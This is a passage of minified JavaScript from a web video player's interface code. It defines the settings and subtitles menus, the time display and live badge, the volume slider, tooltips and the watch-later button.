PT3=function(x,T){var t=RZD(T);x.C&&(x.D||T===x.K)?(x.Mm(x.C),x.Zn(T.toString())):x.Mm(t)};
cV5=function(x){x.x$(x.S.map(RZD));x.C=null;x.K=null;var T=x.U.getPlaybackRate();if(!x.S.includes(T)||Pn(x.U))Sav(x,T),x.Mm(x.C)};
Sav=function(x,T){x.K=T;x.C=g.MA("Custom ($CURRENT_CUSTOM_SPEED)",{CURRENT_CUSTOM_SPEED:T.toString()});T=x.S.map(RZD);T.unshift(x.C);x.x$(T)};
RZD=function(x){return x.toString()};
Pn=function(x){return x.B("web_settings_menu_surface_custom_playback")};
Yam=function(x){return x.B("web_settings_menu_surface_custom_playback")&&x.B("web_settings_use_input_slider")};
buJ=function(x,T,t,u){var H=new g.Wk(T,void 0,"Video Override");g.wk.call(this,u.text||"",x,T,t,"Video Override",function(){g.N3(t,H)});
var I=this;g.uY(this.element,"ytp-subtitles-options-menu-item");this.setting=u.option.toString();x=u.options;this.settings=g.mu(x,this.bX,this);this.D=H;g.y(this,this.D);T=new g.JW({L:"div",G:"ytp-menuitemtitle",z9:"Allow for a different caption style if specified by the video."},0);g.y(this,T);this.D.NU(T,!0);this.K=new g.JW({L:"div",G:"ytp-menuitem",X:{role:"menuitemradio",tabindex:"0"},W:[{L:"div",G:"ytp-menuitem-label",z9:"On"}]},-1);g.y(this,this.K);this.D.NU(this.K,!0);this.V(this.K.element,
"click",function(){UeJ(I,!0)});
this.C=new g.JW({L:"div",G:"ytp-menuitem",X:{role:"menuitemradio",tabindex:"0"},W:[{L:"div",G:"ytp-menuitem-label",z9:"Off"}]},-2);g.y(this,this.C);this.D.NU(this.C,!0);this.V(this.C.element,"click",function(){UeJ(I,!1)});
this.x$(g.r7(x,this.bX))};
UeJ=function(x,T){x.publish("settingChange",x.setting+"Override",!T);x.If.LU()};
S6=function(x,T){g.Wk.call(this,x,void 0,"Options");var t=this;this.VW={};for(var u=0;u<g.Sk.length;u++){var H=g.Sk[u],I=new buJ(-u,x,T,H);g.y(this,I);I.subscribe("settingChange",this.Fh,this);this.VW[H.option.toString()]=I;this.NU(I,!0)}x=new g.JW(g.CW(),-g.Sk.length,"Reset");g.y(this,x);x.listen("click",function(){t.Fh("reset",!0)});
this.NU(x,!0)};
cn=function(x,T){g.wk.call(this,"Auto-translate",0,x,T);this.U=x;this.languages={};x.createClientVe(this.element,this,127301);x.logVisibility(this.element,!0)};
rVH=function(x,T){x.languages=g.mu(T,x.C,x);x.x$(g.r7(T,x.C))};
kcD=function(x,T){var t=new S6(x,T),u=["This setting only applies to the current video. Adjust caption visibility in "," for all videos."],H;g.f1(x.Y())&&(H={L:"div",G:"ytp-panel-footer-content",W:[{L:"span",z9:u[0]},{L:"a",G:"ytp-panel-footer-content-link",z9:"Settings",X:{href:"/account_playback"}},{L:"span",z9:u[1]}]});g.wk.call(this,"Subtitles/CC",g.iL.SUBTITLES,x,T,"Options",function(){g.N3(T,t)},H);
var I=this;this.U=x;this.If=T;this.tracks={};this.N=new g.wX(function(){zZJ(I,!1)},3E3);
g.y(this,this.N);this.countLabel=new g.Q({L:"div",W:[{L:"span",z9:"Subtitles/CC"},{L:"span",G:"ytp-menuitem-label-count",z9:"{{content}}"}]});g.y(this,this.countLabel);g.Nw(this,this.countLabel);x.B("web_settings_menu_icons")&&this.setIcon(TID.includes("en")?{L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M6,14v-4c0-0.55,.45-1,1-1h3c0.55,0,1,.45,1,1v1H9.5v-0.5h-2v3h2V13H11v1c0,.55-0.45,1-1,1H7C6.45,15,6,14.55,6,14z            M14,15h3c0.55,0,1-0.45,1-1v-1h-1.5v0.5h-2v-3h2V11H18v-1c0-0.55-0.45-1-1-1h-3c-0.55,0-1,.45-1,1v4C13,14.55,13.45,15,14,15z            M20,4H4v16h16V4 M21,3v18H3V3.01C3,3,3,3,3.01,3H21L21,3z",
fill:"white"}}]}:{L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M5,11h2v2H5V11z M15,15H5v2h10V15z M19,15h-2v2h2V15z M19,11H9v2h10V11z M22,6H2v14h20V6z M3,7h18v12H3V7z",fill:"white"}}]});this.C=new cn(x,T);g.y(this,this.C);this.C.subscribe("select",this.cn,this);this.D=t;g.y(this,this.D);this.D.subscribe("settingChange",this.Fh,this);T.subscribe("show",this.mI9,this);this.V(x,"videodatachange",this.Nj);this.V(x,"onApiChange",this.Nj);this.V(x,"onCaptionsTrackListChanged",
this.Nj);this.V(x,"captionschanged",this.Nj);x.createClientVe(this.element,this,127300);this.Nj()};
FyD=function(x){return Object.values(x.tracks).find(function(T){return T.languageCode==="en"&&T.kind==="asr"})};
Yp=function(x,T){x.U.setOption("captions","track",T)};
zZJ=function(x,T){x.U.setOption("captions","sampleSubtitles",T)};
hZ5=function(x){g.yY.call(this,x,"ytp-settings-menu");var T=this;this.PS=new g.Wk(this.U);this.qt=this.settingsButton=null;this.isInitialized=this.Dv=!1;g.y(this,this.PS);this.hide();g.N3(this,this.PS);x.createClientVe(this.element,this,108341,!0);this.subscribe("show",function(t){T.oH(t)});
this.V(x,"highlightSettingsMenu",function(){T.Dv=!0;T.tq()});
this.V(x,"openSettingsMenuItem",function(t){if(t&&(T.Dv=!0,T.tq(),t==="menu_item_video_quality_advanced")){var u;(u=T.qt)==null||u.open()}})};
vkH=function(x,T){x.settingsButton=T;x.element.id=T.element.getAttribute("aria-controls")};
VBJ=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-subtitles-button","ytp-button"],X:{title:"{{title}}","aria-keyshortcuts":"c","aria-pressed":"{{pressed}}","data-priority":"4","data-title-no-tooltip":"{{data-title-no-tooltip}}"},W:[oI3()]});this.U=x;this.tooltip=T.lD();this.V(x,"videodatachange",this.Nj);this.V(x,"appresize",this.Nj);this.V(x,"promotooltipacceptbuttonclicked",this.oxW);this.V(x,"onApiChange",this.Nj);this.V(x,"onCaptionsTrackListChanged",this.Nj);this.V(x,"captionschanged",this.Nj);
this.U.createClientVe(this.element,this,127299);this.Nj();this.listen("click",this.onClick);this.addOnDisposeCallback(g.Sx(T.lD(),this.element))};
GcV=function(x){return g.Lb(x.U.xm())!=null?g.Lb(x.U.xm()).Bq()?!!x.U.getOption("captions","tracklist",{includeAsr:!0}).length:!0:!1};
g.UQ=function(x,T,t){t=t===void 0?350:t;g.Q.call(this,{L:"div",DZ:["ytp-time-display","notranslate"],W:[{L:"span",G:"ytp-time-wrapper",W:[{L:"span",G:"ytp-time-clip-icon",z9:"{{clipicon}}"},{L:"span",G:"ytp-time-current",z9:"{{currenttime}}"},{L:"span",G:"ytp-time-separator",z9:" / "},{L:"span",G:"ytp-time-duration",z9:"{{duration}}"}]},{L:"span",G:"ytp-clip-watch-full-video-button-separator",z9:"\u2022"},{L:"span",G:"ytp-clip-watch-full-video-button",z9:"{{watchfullvideo}}"}]});var u=this;this.api=
x;this.S=t;this.liveBadge=new g.Q({L:"button",DZ:["ytp-live-badge","ytp-button"],X:{disabled:"true"},z9:"{{content}}"});this.C=null;this.r6=this.Z=!1;this.J=this.N=null;this.isPremiere=!1;this.D=this.K=null;this.j=!1;this.TI=null;this.ZZ=this.Um("ytp-clip-watch-full-video-button");this.api.B("web_player_updated_entrypoint")&&g.Ic(this.element,"ytp-xs-mono-button-style",!0);this.liveBadge.Zn("Live");g.y(this,this.liveBadge);this.api.B("web_player_updated_entrypoint")||this.api.B("delhi_modern_web_player")?
this.liveBadge.yU(this.element.querySelector(".ytp-time-wrapper")):this.liveBadge.yU(this.element);this.tooltip=T.lD();this.liveBadge.listen("click",this.onClick.bind(this));this.api.B("delhi_modern_web_player")&&this.V(this.Um("ytp-time-current"),"click",this.znf);this.V(this.ZZ,"click",this.lxU);this.V(this.api,"serverstitchedvideochange",function(){Lyf(u,u.api.getProgressState().isAtLiveHead)});
this.V(x,"presentingplayerstatechange",this.Bk);this.V(x,"appresize",this.Bk);this.V(x,"onLoopRangeChange",this.onLoopRangeChange);this.V(x,"videodatachange",this.onVideoDataChange);(T=x.getVideoData())&&this.updateVideoData(T);this.Bk();nk5(this,x.getLoopRange())};
Lyf=function(x,T){var t=x.liveBadge.element,u=x.api.isLifaAdPlaying();t.disabled=u||T;!bd(x)||x.J===T&&x.N===x.isPremiere||(x.J=T,x.N=x.isPremiere,x.Bk(),T?t.classList.add("ytp-live-badge-is-livehead"):t.classList.remove("ytp-live-badge-is-livehead"),x.liveBadge.Zn(x.isPremiere?"Premiere":"Live"),T?x.C&&(x.C(),x.C=null,t.removeAttribute("title")):(t.title="Skip ahead to live broadcast.",x.C=g.Sx(x.tooltip,x.liveBadge.element)))};
nk5=function(x,T){var t=x.TI!==T;x.TI=T;t&&aqq(x)};
aqq=function(x){x.updateValue("clipicon",{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",X:{d:"M22,3h-4l-5,5l3,3l6-6V3L22,3z M10.79,7.79C10.91,7.38,11,6.95,11,6.5C11,4.01,8.99,2,6.5,2S2,4.01,2,6.5S4.01,11,6.5,11 c0.45,0,.88-0.09,1.29-0.21L9,12l-1.21,1.21C7.38,13.09,6.95,13,6.5,13C4.01,13,2,15.01,2,17.5S4.01,22,6.5,22s4.5-2.01,4.5-4.5 c0-0.45-0.09-0.88-0.21-1.29L12,15l6,6h4v-2L10.79,7.79z M6.5,8C5.67,8,5,7.33,5,6.5S5.67,5,6.5,5S8,5.67,8,6.5S7.33,8,6.5,8z M6.5,19C5.67,19,5,18.33,5,17.5S5.67,16,6.5,16S8,16.67,8,17.5S7.33,19,6.5,19z"}}]});
x.r6&&!x.Z?x.updateValue("watchfullvideo","Watch live stream"):x.updateValue("watchfullvideo","Watch full video");g.Ic(x.element,"ytp-clip",rq(x));g.Ic(x.element,"ytp-live",bd(x))};
bd=function(x){var T=x.api.Y().B("enable_linear_program_progress"),t=!x.api.B("clean_player_style_fix_on_web")||x.api.getPresentingPlayerType()!==2;return x.r6&&!rq(x)&&(!T||!x.Z)&&t};
rq=function(x){return!!x.TI&&!!x.TI.postId&&x.api.getPresentingPlayerType()!==2&&(!x.TI.type||x.TI.type==="clips")};
Btf=function(x,T){g.Q.call(this,{L:"div",G:"ytp-volume-panel",X:{title:"Volume",role:"slider","aria-valuemin":"0","aria-valuemax":"100","aria-valuenow":"{{valuenow}}","aria-valuetext":"{{valuetext}}",tabindex:"0"},W:[{L:"div",G:"ytp-volume-slider",W:[{L:"div",G:"ytp-volume-slider-handle"}]}]});var t=this;this.api=x;this.N=T;this.mZ=!1;this.S=this.volume=0;this.D=null;this.Z=this.C=this.isDragging=!1;this.N=T;this.j=x.ew();this.J=this.Um("ytp-volume-slider");this.ZZ=this.Um("ytp-volume-slider-handle");
this.K=new g.xM(this.J,!0);g.y(this,this.K);this.K.subscribe("dragstart",this.v6u,this);this.K.subscribe("dragmove",this.FX,this);this.K.subscribe("dragend",this.XtY,this);this.V(x,"onVolumeChange",this.onVolumeChange);this.V(x,"appresize",this.Cp);this.V(x,"fullscreentoggled",this.UR);this.V(x,"onShowControls",this.hk);this.V(x,"onHideControls",this.hk);this.V(this.element,"keydown",this.Na);this.V(this.element,"focus",function(){zv(t,t.C,t.isDragging,!0,t.api.mZ())});
this.V(this.element,"blur",function(){zv(t,t.C,t.isDragging,!1,t.api.mZ())});
this.Cp(x.bG().getPlayerSize());gkv(this,x.getVolume(),x.isMuted());cF(x,this.element,this)};
gkv=function(x,T,t){var u=Math.floor(T),H=u+"% volume"+(t?" muted":"");t=t?0:T/100;x.updateValue("valuenow",u);x.updateValue("valuetext",H);x.ZZ.style.left=(x.j?60:40)*t+"px";x.volume=T};
WyJ=function(x,T){g.Ic(x.element,"ytp-volume-control-hover",T);zv(x,T,x.isDragging,x.Z,x.api.mZ())};
zv=function(x,T,t,u,H){var I=x.C||x.isDragging||x.Z||x.mZ;x.C=T;x.isDragging=t;x.Z=u;x.mZ=H;T=x.C||x.isDragging||x.Z||x.mZ;I!==T&&(T?x.D=x.V(x.element,"wheel",x.qa):(x.f2(x.D),x.D=null),g.Ic(x.N,"ytp-volume-slider-active",T))};
kp=function(x,T){var t=x.Y(),u=["ytp-youtube-button","ytp-button","yt-uix-sessionlink"];t.j&&u.push("no-link");var H={title:"{{title}}",target:t.S,"data-priority":"5","data-sessionlink":"feature=player-button"};t.j||(H.href="{{url}}");g.Q.call(this,{L:"a",DZ:u,X:H,z9:"{{logoSvg}}"});this.C=null;this.api=x;this.visible=!1;t.j||(this.C=this.listen("click",this.onClick));this.V(x,"videodatachange",this.onVideoDataChange);this.V(x,"videoplayerreset",this.onVideoDataChange);this.V(x,"onLoopRangeChange",
this.onVideoDataChange);this.V(x,"appresize",this.C2);this.onVideoDataChange();t.j||this.addOnDisposeCallback(g.Sx(T.lD(),this.element));this.C2()};
Dei=function(x,T,t){g.nj.call(this);var u=this;this.U=x;this.Hv=T;this.vU=t;this.Cz=NaN;this.jY=this.tQ=this.playButton=this.T=this.D=this.AQ=this.nf=this.ZZ=this.S=this.C=this.SY=this.Ee=null;this.j=new hZ5(this.U);this.progressBar=new g.Ol(this.U,this.Hv);this.Om=new g.UQ(this.U,this.Hv);this.uG=new tuC(this.U,this.Hv);this.J=new g.pt(this.Gh,null,this);t=x.Y();this.vU.subscribe("autohideupdate",this.WJ,this);var H=!x.getPlayerStateObject().isCued(),I;x.Y().B("html5_player_dynamic_bottom_gradient")?
this.SY=I=new Xh3(x):I=new g.Q({L:"div",G:"ytp-gradient-bottom"});g.y(this,I);g.V$(x,I.element,9);this.QU=new g.XK(I,250,H,100);g.y(this,this.QU);this.K=new g.Q({L:"div",G:"ytp-chrome-bottom",W:[{L:"div",G:"ytp-chrome-controls"}]});g.y(this,this.K);g.V$(x,this.K.element,9);this.hQ=new g.XK(this.K,250,H,100);g.y(this,this.hQ);this.G9=this.K.element.children[0];g.y(this,this.j);g.V$(x,this.j.element,6);this.j.subscribe("show",function(Z){u.U.l7(!Z);x.l_(u.j,Z)});
g.y(this,this.progressBar);this.progressBar.yU(this.K.element,0);H=new aK(x,T);g.y(this,H);g.V$(x,H.element,4);H=new g.i9({L:"div",G:"ytp-left-controls"});g.y(this,H);H.yU(this.G9);x.B("delhi_modern_web_player")||(I=new g.Nm(x,T,!1),g.y(this,I),I.yU(H.element));x.B("web_render_jump_buttons")&&(this.S=new gG(x,g.Z9(x.Y().experiments,"web_jump_button_backward_amount")||-10),g.y(this,this.S),this.S.yU(H.element));t.QU||(this.playButton=new g.y8(x,T),g.y(this,this.playButton),this.playButton.yU(H.element));
x.B("web_render_jump_buttons")&&(this.ZZ=new gG(x,g.Z9(x.Y().experiments,"web_jump_button_forward_amount")||10),g.y(this,this.ZZ),this.ZZ.yU(H.element));x.B("delhi_modern_web_player_remove_nav_buttons")||(x.B("delhi_modern_web_player")&&(I=new g.Nm(x,T,!1),g.y(this,I),I.yU(H.element)),I=new g.Nm(x,T,!0),g.y(this,I),I.yU(H.element));if(!x.B("delhi_modern_web_player")&&(I=new g.Q({L:"span",G:"ytp-volume-area"}),g.y(this,I),I.yU(H.element),!t.FD&&(this.C=new Dg(x,T),g.y(this,this.C),this.C.yU(I.element),
t.nf&&!t.J))){var E=new Btf(x,this.K.element);this.tQ=E;g.y(this,E);E.yU(I.element);I=new g.xM(I.element);g.y(this,I);I.subscribe("hoverstart",function(){var Z;(Z=u.tQ)==null||WyJ(Z,!0)});
I=new g.xM(H.element);g.y(this,I);I.subscribe("hoverend",function(){var Z;(Z=u.tQ)==null||WyJ(Z,!1)})}g.y(this,this.Om);
this.Om.yU(H.element);this.nf=new nN(x,this.progressBar);g.y(this,this.nf);this.nf.yU(H.element);t.B("web_key_moments_markers")&&(this.AQ=new B7(x,this.progressBar),g.y(this,this.AQ),this.AQ.yU(H.element));x.B("delhi_modern_web_player")?(this.Z=new g.i9({L:"div",G:"ytp-right-controls",W:[{L:"div",G:Fb.RIGHT_CONTROLS_LEFT},{L:"div",G:Fb.RIGHT_CONTROLS_RIGHT}]}),x.B("delhi_modern_web_player_right_controls_separate")&&g.uY(this.Z.element,"ytp-right-controls-separate")):this.Z=new g.i9({L:"div",G:"ytp-right-controls"});
g.y(this,this.Z);this.Z.yU(this.G9);x.B("delhi_modern_web_player")&&(this.C=new Dg(x,T),g.y(this,this.C),this.C.yU(this.Z.Um(Fb.RIGHT_CONTROLS_LEFT)));this.mu=new VBJ(x,T);g.y(this,this.mu);hN(this,this.mu,"RIGHT_CONTROLS_LEFT");this.settingsButton=new j6(x,this.j);g.y(this,this.settingsButton);vkH(this.j,this.settingsButton);hN(this,this.settingsButton,"RIGHT_CONTROLS_LEFT");H=x.getVideoData();if(t.yw||H.E0&&t.controlsType==="1")this.D=new kp(x,T),g.y(this,this.D),this.D.yU(this.Z.element);t.showMiniplayerButton&&
(this.T=new W7(x),g.y(this,this.T),hN(this,this.T,"RIGHT_CONTROLS_RIGHT"));t.tI&&(T=new Z8(x,this.j),g.y(this,T),hN(this,T,"RIGHT_CONTROLS_RIGHT"));t.IJ&&(T=new Ga(x),g.y(this,T),hN(this,T,"RIGHT_CONTROLS_RIGHT"));g.y(this,this.uG);hN(this,this.uG,"RIGHT_CONTROLS_RIGHT");g.y(this,this.J);this.V(x,"appresize",this.C2);this.V(x,"fullscreentoggled",this.C2);this.V(x,"presentingplayerstatechange",this.DB);this.V(x,"videodatachange",this.onVideoDataChange);this.C2()};
yV4=function(x,T){if(x.U.getPlayerStateObject().isCued()||T){if(T){x.hQ.hide();x.QU.hide();x.C&&x.C.JM(!1);x.D&&x.D.JM(!1);x.T&&x.T.JM(!1);if(x.U.B("embeds_use_parent_visibility_in_ve_logging")){var t;(t=x.uG)==null||t.JM(!1);var u;(u=x.settingsButton)==null||u.JM(!1);var H;(H=x.playButton)==null||H.JM(!1)}x.U.On(x.yA())}}else if(!T){x.hQ.show();x.QU.show();x.C&&x.C.JM(!0);x.D&&x.D.JM(!0);x.T&&x.T.JM(!0);if(x.U.B("embeds_use_parent_visibility_in_ve_logging")){var I;(I=x.uG)==null||I.JM(!0);var E;
(E=x.mu)==null||E.JM(!0);var Z;(Z=x.playButton)==null||Z.JM(!0)}x.WJ()}};
JVH=function(x){var T=x.U.bG().getPlayerSize().width;return Math.max(T-Ntv(x)*2,100)};
Ntv=function(x){var T=x.U.ew(),t=x.U.getVideoData().E0,u=0;x.U.ew()&&x.U.isEmbedsShortsMode()&&(u=(x.U.bG().getPlayerSize().width-x.U.getVideoContentRect().width)/2);return 12*(t?0:T?2:1)+u};
CTH=function(x){var T=x.U.ew()?72:50;x=x.U.Y();g.f1(x)&&(T=x.B("delhi_modern_web_player")?78:62,g.Gw(x)&&(T=54));return T};
hN=function(x,T,t){x.U.B("delhi_modern_web_player")?T.yU(x.Z.Um(Fb[t])):T.yU(x.Z.element)};
QhH=function(x){gk.call(this,x,!1);var T=this;this.suggestedActions={};this.V(this.U,"videodatachange",this.onVideoDataChange);this.V(this.U,g.$m("suggested_action_button_visible"),function(t){t=t.id;T.text=t;N_D(T);T.onClickCommand=T.suggestedActions[t];T.enabled=!0;T.oH()});
this.V(this.U,g.Hv("suggested_action_button_visible"),function(t){T.enabled=!1;T.oH();T.U.removeCueRange(t.id)})};
p4f=function(x){x.suggestedActions={};x.U.Xa("suggested_action_button_visible")};
VM=function(x){g.Q.call(this,{L:"div",G:vn.TITLE,W:[{L:"div",G:vn.TEXT,W:[{L:"a",DZ:[vn.LINK,vn.SESSIONLINK],X:{target:x.Y().S,href:"{{url}}","data-sessionlink":"feature=player-title",tabIndex:"{{channelTitleFocusable}}"},z9:"{{title}}"},{L:"div",G:vn.SUBTEXT,W:["{{subtextElement}}"]}]}]});this.api=x;this.C=null;this.link=this.Um(vn.LINK);x.createClientVe(this.element,this,23851);this.V(x,"videodatachange",this.Nj);this.V(x,"videoplayerreset",this.Nj);this.Nj()};
Ou5=function(x){x.updateValue("channelLink","");x.updateValue("channelName","");g.Gw(x.api.Y())?x.updateValue("channelTitleFocusable","0"):x.updateValue("channelTitleFocusable","-1")};
g.Gv=function(x,T){g.Q.call(this,{L:"div",W:[{L:"div",G:"ytp-tooltip-text-wrapper",X:{"aria-hidden":"{{ariaHidden}}"},W:[{L:"div",G:"ytp-tooltip-edu",W:[{L:"svg",X:{height:"100%",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",X:{d:"M14.1 36.75 12 34.65 24 22.65 36 34.65 33.9 36.75 24 26.85ZM14.1 24.1 12 22 24 10 36 22 33.9 24.1 24 14.2Z"}}]},{L:"span",z9:"{{eduText}}"}]},{L:"div",G:"ytp-tooltip-image"},{L:"div",G:"ytp-tooltip-title",W:[{L:"span",z9:"{{title}}"},{L:"div",G:"ytp-tooltip-keyboard-shortcut",
z9:"{{keyBoardShortcut}}"}]},{L:"div",G:"ytp-tooltip-bottom-text",W:[{L:"span",G:"ytp-tooltip-text",z9:"{{text}}"},{L:"div",G:"ytp-tooltip-keyboard-shortcut",z9:"{{keyBoardShortcut}}"}]}]},{L:"div",G:"ytp-tooltip-bg",W:[{L:"div",G:"ytp-tooltip-duration",z9:"{{duration}}"}]}]});var t=this;this.api=x;this.QU=T;this.ZZ=function(u){(u=u.relatedTarget)&&g.ux(t.C,u)||t.P_()};
this.D=function(u){t.type===3&&t.P_();(u=u.currentTarget)&&u.nodeType===1&&!t.type&&(u.removeEventListener("mouseover",t.D),u.addEventListener("mouseout",t.ZZ),u.removeEventListener("focus",t.D),u.addEventListener("blur",t.ZZ),fqH(t,u,2))};
this.jY=function(){t.P_()};
this.type=this.C=null;this.S=!1;this.Z=null;this.j="";this.J=!0;this.scale=1;this.env=this.api.Y();this.Om=this.env.Z;this.wrapper=this.Um("ytp-tooltip-text-wrapper");this.bg=this.Um("ytp-tooltip-bg");this.hQ=this.Um("ytp-tooltip-edu");this.image=this.Um("ytp-tooltip-image");this.text=this.Um("ytp-tooltip-text");this.bottomText=this.Um("ytp-tooltip-bottom-text");this.title=this.Um("ytp-tooltip-title");this.N=new g.XK(this,100);this.K=NaN;this.Ex=this.api.bG().getPlayerSize().width;this.uG=new g.wX(this.ifU,
250,this);this.Hv=new g.wX(this.P_,5E3,this);g.y(this,this.N);g.y(this,this.uG);g.y(this,this.Hv);U0&&(x=this.Um("ytp-tooltip-text"),x.setAttribute("role","text"),x.setAttribute("aria-live","polite"))};
g.Sx=function(x,T){if(x.Om)return function(){};
T.addEventListener("mouseover",x.D);T.addEventListener("focus",x.D);var t=T.getAttribute("title");t&&!T.hasAttribute("aria-label")&&T.setAttribute("aria-label",t);return function(){x.C===T&&x.P_();T.removeEventListener("mouseover",x.D);T.removeEventListener("focus",x.D)}};
fqH=function(x,T,t,u){if(T&&!T.hasAttribute)x=new g.CS("showElementTooltip called with non-element.",T.toString()),g.vW(x);else{isNaN(x.K)||(x.K=NaN,x.bg.style.background="");x.C=T;x.S=!!u;u?x.j=u:(x.j=T.getAttribute("title"),T.removeAttribute("title"));g.tw(x.element,"ytp-tooltip");var H=T.getAttribute("data-tooltip-image");H&&(x.image.style.backgroundImage="url("+H+")");u?x.update({ariaHidden:"false"}):x.update({ariaHidden:"true"});g.Ic(x.element,"ytp-tooltip-image-enabled",!!H);T=T.getAttribute("data-tooltip-opaque");
g.Ic(x.element,"ytp-tooltip-opaque",!!T);x.type=t;x.api.addEventListener("appresize",x.jY);x.J&&(w45(x),x.N.show(0))}};
w45=function(x){if(x.C){var T=x.C.getAttribute("data-tooltip-text");if(x.j&&x.C.getAttribute("aria-label")!==x.j)var t=x.j;var u=x.C.getAttribute("aria-keyshortcuts"),H=x.C.getAttribute("data-title-no-tooltip");u&&H&&(t=g.MA("$BUTTON_TITLE keyboard shortcut $SHORTCUT_KEY",{BUTTON_TITLE:H,SHORTCUT_KEY:u}));t&&x.C.setAttribute("aria-label",t);if(T&&!x.S){u=x.C;x.updateValue("text",T);t=u.getAttribute("data-duration");x.update({title:x.j,duration:t});u=u.getAttribute("data-preview");H=243*x.scale;var I=
141*x.scale;x.bg.style.width=H+"px";x.bg.style.height=I+"px";x.bg.style.backgroundImage=u?"url("+u+")":"";x.bg.style.backgroundSize=H+"px "+I+"px";x.wrapper.style.width=H+"px";g.$P(x.element,["ytp-text-detail","ytp-preview"]);g.Ic(x.element,"ytp-has-duration",!!t)}else x.updateValue("text",x.j),u&&x.env.B("delhi_modern_web_player")&&(x.updateValue("text",H),x.updateValue("keyBoardShortcut",u.toUpperCase())),g.iY(x.element,["ytp-text-detail","ytp-preview","ytp-has-duration"]);Ky5(x,!!T)}};
Ky5=function(x,T,t,u){var H=Math.min(x.Ex,300*x.scale);x.element.style.maxWidth=T?"":H+"px";x.QU.hf(x.element,x.C,t,x.type===1,u);x.element.style.top?g.uY(x.element,"ytp-bottom"):x.element.style.bottom&&g.uY(x.element,"ytp-top");x.type===3&&x.Hv.start()};
X4X=function(x,T){g.Ic(x.element,"ytp-preview",T>=0);if(!(T<0||T===x.K)){x.K=T;T=243*x.scale;var t=141*x.scale,u=ix5(x.Z,x.K,T);xPq(x.bg,u,T,t,!0);x.uG.start()}};
xr4=function(x){var T=x.C;x.type===3&&x.Hv.stop();x.api.removeEventListener("appresize",x.jY);x.S||T.setAttribute("title",x.j);x.j="";x.C=null;x.updateValue("keyBoardShortcut","");x.wrapper.style.width=""};
o2J=function(x){g.Q.call(this,{L:"button",DZ:["ytp-watch-later-button","ytp-button"],X:{title:"{{title}}","data-tooltip-image":"{{image}}","data-tooltip-opaque":String(g.zw(x.Y()))},W:[{L:"div",G:"ytp-watch-later-icon",z9:"{{icon}}"},{L:"div",G:"ytp-watch-later-title",z9:"Watch later"}]});this.U=x;this.icon=null;this.visible=this.isRequestPending=this.C=!1;gs3(x);x.createClientVe(this.element,this,28665);this.listen("click",this.onClick,this);this.V(x,"videoplayerreset",this.onReset);this.V(x,"appresize",
this.sf);this.V(x,"videodatachange",this.sf);this.V(x,"presentingplayerstatechange",this.sf);this.sf();x=this.U.Y();var T=g.VT("yt-player-watch-later-pending");x.K&&T?(kZJ(),TuC(this)):this.Nj(2);g.Ic(this.element,"ytp-show-watch-later-title",g.zw(x));cF(this.U,this.element,this)};
tHD=function(x){var T=x.U.getPlayerSize(),t=x.U.Y(),u=x.U.getVideoData(),H=g.zw(t)&&g.kh(x.U)&&g.p(x.U.getPlayerStateObject(),128),I=t.j;return t.tR&&T.width>=240&&!u.isAd()&&u.tR&&!H&&!g.Tt(u)&&!x.U.isEmbedsShortsMode()&&!I};
st3=function(x,T){coX(g.JF(x.U.Y()),"wl_button",function(){kZJ({videoId:T});window.location.reload()})};
TuC=function(x){if(!x.isRequestPending){x.isRequestPending=!0;x.Nj(3);var T=x.U.getVideoData();T=x.C?T.removeFromWatchLaterCommand:T.addToWatchLaterCommand;var t=x.U.qm(),u=x.C?function(){x.C=!1;x.isRequestPending=!1;x.Nj(2);x.U.Y().N&&x.U.XW("WATCH_LATER_VIDEO_REMOVED")}:function(){x.C=!0;
x.isRequestPending=!1;x.Nj(1);x.U.Y().Z&&x.U.Dq(x.element);x.U.Y().N&&x.U.XW("WATCH_LATER_VIDEO_ADDED")};
Cl(t,T).then(u,function(){x.isRequestPending=!1;x.Nj(4,"An error occurred. Please try again later.");x.U.Y().N&&x.U.XW("WATCH_LATER_ERROR","An error occurred. Please try again later.")})}};
u$5=function(x,T){if(T!==x.icon){switch(T){case 3:var t=$z();break;case 1:t=mo();break;case 2:t={L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M18,8 C12.47,8 8,12.47 8,18 C8,23.52 12.47,28 18,28 C23.52,28 28,23.52 28,18 C28,12.47 23.52,8 18,8 L18,8 Z M16,19.02 L16,12.00 L18,12.00 L18,17.86 L23.10,20.81 L22.10,22.54 L16,19.02 Z"}}]};break;case 4:t={L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",
OF:!0,X:{d:"M7,27.5h22L18,8.5L7,27.5z M19,24.5h-2v-2h2V24.5z M19,20.5h-2V16.5h2V20.5z",fill:"#fff"}}]}}x.updateValue("icon",t);x.icon=T}};
g.L_=function(){g.x6.apply(this,arguments);this.Y3=(this.TY=g.zw(this.api.Y()))&&(this.api.Y().Z||XW()||w2());this.VD=48;this.Yt=69;this.vH=this.fd=null;this.JK=[];this.w7=this.hm=this.V1=this.t9=this.Y6=null;this.tN=[];this.contextMenu=this.mT=this.overflowButton=this.yL=this.Oo=this.searchButton=this.copyLinkButton=this.shareButton=this.YJ=this.xp=this.title=this.channelAvatar=this.uO=this.tooltip=null;this.rM=!1;this.NV=this.Ax=this.fW=this.nW=null;this.PG=this.Ja=this.E4=!1};
$rv=function(x){var T=x.api.Y(),t=g.p(x.api.getPlayerStateObject(),128);return T.K&&t&&!x.api.isFullscreen()};
HvC=function(x){if(x.zV()&&!x.api.isEmbedsShortsMode()&&x.yL){var T=x.api.B("web_player_hide_overflow_button_if_empty_menu");!x.YJ||T&&!tHD(x.YJ)||YgJ(x.yL,x.YJ);!x.shareButton||T&&!GBi(x.shareButton)||YgJ(x.yL,x.shareButton);!x.copyLinkButton||T&&!gRi(x.copyLinkButton)||YgJ(x.yL,x.copyLinkButton)}else{if(x.yL){T=x.yL;for(var t=g.S(T.actionButtons),u=t.next();!u.done;u=t.next())u.value.detach();T.actionButtons=[]}x.searchButton&&!g.ux(x.xp.element,x.searchButton.element)&&x.searchButton.yU(x.xp.element);
